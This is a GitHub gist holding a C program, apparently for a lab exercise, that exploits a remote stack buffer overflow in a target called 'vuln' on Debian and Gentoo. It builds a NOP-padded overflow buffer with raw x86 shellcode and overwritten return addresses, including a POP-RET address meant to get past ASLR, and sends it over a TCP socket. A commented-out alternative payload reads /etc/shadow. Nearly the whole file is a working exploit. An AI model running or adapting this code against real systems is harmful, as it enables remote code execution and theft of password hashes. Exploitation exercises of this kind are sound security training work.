Created
January 14, 2010 11:21
-
-
Save timfel/277085 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <sys/types.h> | |
#include <sys/socket.h> | |
#include <arpa/inet.h> | |
#include <netinet/in.h> | |
#include <netdb.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <stdlib.h> | |
/* The maxium payload (to have enough space for new ips) */ | |
#define MAX_PAYLOAD_LENGTH 218 | |
#ifdef __DEBIAN__ | |
#define TARGET_SYSTEM "Debian (2.4, no ASLR)" | |
#define INSTRUCTION_LENGTH 1640 | |
#define DEFAULT_IP "\x84\xee\xff\xbf"; /* buffer address on my debian */ | |
#endif | |
#ifdef __GENTOO__ | |
#define TARGET_SYSTEM "Gentoo (2.6, ALSR)" | |
#define INSTRUCTION_LENGTH 1032 // Tested with binary search | |
/* Address of a POPRET. Just leave this, it should work with any | |
* system that only uses the default Linux ASLR */ | |
#define DEFAULT_IP "\x24\x88\x04\x08"; | |
#endif | |
/* Convenience to 'reset' the EIP of the server - | |
* Had wrong results between tests */ | |
void flush_buffer(char* ip, int port) { | |
char empty[1999] = {'\0'}; | |
memset(empty, 'R', 1999); | |
write_to_socket(ip, port, empty); | |
} | |
/* Create a shellcode for the vuln binary */ | |
char* create_shellcode(char* payload, char* ip) { | |
int eip_overflow, i, padded_shellcode; | |
char* shellcode; | |
if (strlen(payload) > MAX_PAYLOAD_LENGTH) { | |
fprintf(stderr, "Payload too large! Limit is at maximum of %d bytes!", | |
MAX_PAYLOAD_LENGTH); | |
exit(2); | |
} | |
/* Initialize buffer with NO-OPs */ | |
shellcode = (char*)calloc(sizeof(char), INSTRUCTION_LENGTH + 1); | |
/* Put payload at start of the buffer */ | |
strncpy(shellcode, payload, strlen(payload)); | |
/* Padding with NO-OPs to align shellcode */ | |
padded_shellcode = 4 - (strlen(payload) % 4); | |
memset(shellcode + strlen(payload), '\x90', padded_shellcode); | |
/* At the end of the buffer, just put the new IP over and over | |
* again to make sure it'll somehow end up in the EIP register */ | |
eip_overflow = INSTRUCTION_LENGTH - strlen(payload) - padded_shellcode; | |
for (i = 0; i <= eip_overflow; i = i + strlen(ip)) { | |
strcpy(shellcode + strlen(payload) + padded_shellcode + i, ip); | |
} | |
strncpy(shellcode + strlen(payload) + padded_shellcode + eip_overflow + | |
strlen(ip), "\x00", 1); | |
/** | |
* Stack of vuln: | |
* -------------- viewer | |
* some locals | start of the buffer is here | |
* ... | | |
* ebp | | |
* eip | overwrite with address of POPRET (0x08048824) | |
* params | overwritten with NULL-byte | |
* -------------- | |
* -------------- main | |
* locals | address of the src-buffer with our shellcode | |
* ... | | |
**/ | |
printf("Shellcode is: %s\n", shellcode); | |
return shellcode; | |
} | |
int write_to_socket(char* host_ip, int port, char* str) { | |
int sock; | |
struct sockaddr_in server; | |
struct hostent *hp; | |
/* Setup connection */ | |
server.sin_family = AF_INET; | |
server.sin_port = htons(port); | |
inet_pton(AF_INET, host_ip, &server.sin_addr); | |
/* create a socket */ | |
sock = socket(AF_INET, SOCK_STREAM, 0); | |
if (sock < 0) { | |
perror("Error creating socket\n"); | |
exit(1); | |
} | |
/* connect to the server via the socket */ | |
if (connect(sock, ((const struct sockaddr*)&server), | |
sizeof(struct sockaddr_in)) < 0) { | |
perror("Error connecting to server"); | |
exit(1); | |
} | |
/* write buffer to stream socket */ | |
if (write(sock, str, strlen(str) + 1) <= strlen(str)) { | |
perror("Error writing to socket\n"); | |
exit(1); | |
} | |
close(sock); | |
} | |
/* Convenience method to be able to pass a buffer as argument */ | |
char* convert_buffer_address(char* address) { | |
int h; | |
int i; | |
char hex[3] = {'\0'}; | |
char* ip = calloc(sizeof(char), strlen(address) + 1); | |
/* Allow a little flexibility on the buffer argument */ | |
if (address[1] == 'x') { | |
/* If the user copied '0x' at the beginning, move the pointer */ | |
address = address + 2; | |
} | |
/* Only allow 32 or 64 bit pointers */ | |
if ((strlen(address) != 8) | |
&& (strlen(address) != 16)) { | |
fprintf(stderr, "That's not a nice 32 or 64-bit pointer address!\n"); | |
exit(2); | |
} | |
/* Do the parsing */ | |
for(i = 0; i < strlen(address); i = i + 2) { | |
/* Copy one hex-byte into the temporary string */ | |
hex[0] = address[i]; | |
hex[1] = address[i + 1]; | |
hex[2] = '\0'; | |
/* Let sscanf parse the two hex digits */ | |
sscanf(hex, "%x", &h); | |
/* Copy the hex (backwards) into the IP-char array */ | |
strncpy(ip + (3 - (i / 2)), (const char*)&h, 1); | |
} | |
printf("The buffer address is: %s\n", ip); | |
return ip; | |
} | |
int main(int argc, char **argv) { | |
/* More shellcodes at: http://www.milw0rm.com/shellcode/linux/x86 */ | |
/* Reset the system time and stop */ | |
char* payload = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x19\x58\x99\x52\x89\xe3\xcd\x80\x40\xcd\x80"; | |
/* execute command after setreuid */ | |
/* char payload[] = | |
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99" | |
"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" | |
"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff" | |
"cat /etc/shadow; exit;"; */ | |
char* ip = DEFAULT_IP; | |
if ((argc < 3) | |
|| (argc > 4)) { | |
printf("Usage: ./overflow <host ip> <port> [buffer address]\n"); | |
printf("This explots vuln on %s, with an overflow length of %d\n", | |
TARGET_SYSTEM, INSTRUCTION_LENGTH); | |
exit(2); | |
} | |
if (argc == 4) { | |
ip = convert_buffer_address(argv[3]); | |
} | |
flush_buffer(argv[1], atoi(argv[2])); | |
write_to_socket(argv[1], atoi(argv[2]), create_shellcode(payload, ip)); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment